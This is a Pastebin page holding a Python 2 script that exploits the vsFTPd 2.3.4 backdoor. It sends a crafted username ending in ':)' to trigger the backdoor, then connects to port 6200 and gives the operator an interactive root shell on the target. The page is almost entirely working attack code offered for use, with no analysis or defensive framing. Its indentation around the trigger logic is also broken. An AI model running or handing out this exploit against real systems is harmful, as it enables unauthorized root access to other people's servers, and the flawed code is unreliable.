Advertisement
The_Defalt

vsFTPd_backdoor_exploit.py

May 3rd, 2016
1,664
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.03 KB | None | 0 0
  1. #! /usr/bin/python
  2.  
  3. import sys # For arguments
  4. import socket # To trigger the back door
  5. import threading # Shell handling
  6. import time # Delay for shell interaction
  7.  
  8. if len(sys.argv) == 3:
  9.     pass
  10. else:
  11.     print "usage: ./exploit.py [TARGET IP] [TARGET PORT]"
  12.     sys.exit(1)
  13. target = sys.argv[1]
  14. port = sys.argv[2]
  15.  
  16. def trigger():
  17.     trigger_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18.     try:
  19.         trigger_socket.connect((target, int(port)))
  20.     except Exception:
  21.         print '[!] Failed to Reach Target'
  22.         sys.exit(1)
  23.     print '[*] Attempting to Trigger the Back Door... '
  24.     banner = trigger_socket.recv(1024)
  25.     if 'vsFTPd 2.3.4' in banner:
  26.         trigger_socket.send("USER backdoored:)\n")
  27.         trigger_socket.recv(1024)
  28.         trigger_socket.send("PASS invalid\n")
  29.     time.sleep(3)
  30.         trigger_socket.close()
  31.         print '[*] Trigger Process Complete, Spawning Shell...'
  32.         return
  33.     else:
  34.         print '[!] Invalid Service Detected'
  35.         sys.exit(1)
  36.  
  37. def recv_from_shell(sock, status):
  38.     sock.settimeout(3)
  39.     while status == True:
  40.         try:
  41.             print sock.recv(1024).strip()
  42.         except socket.timeout:
  43.             pass
  44.         except Exception:
  45.             return
  46.  
  47. def handle():
  48.     trigger()
  49.     shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  50.     shell_status = True
  51.     try:
  52.         shell_socket.connect((target, 6200))
  53.     except Exception:
  54.         print '[!] Failed Interaction with Shell'
  55.         sys.exit(1)
  56.     shell_recv_thread = threading.Thread(target=recv_from_shell, args=(shell_socket, shell_status))
  57.     shell_recv_thread.start()
  58.     print '[*] Root Shell Spawned, Pwnage Complete\n'
  59.     while 1:
  60.         command = raw_input().strip()
  61.         if command == 'exit':
  62.             shell_status = False
  63.             shell_socket.close()
  64.             shell_recv_thread.join()
  65.             sys.exit(0)
  66.         shell_socket.send(command + '\n')
  67.  
  68. try:
  69.     handle()
  70. except Exception:
  71.     sys.exit(1) # Emergency exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement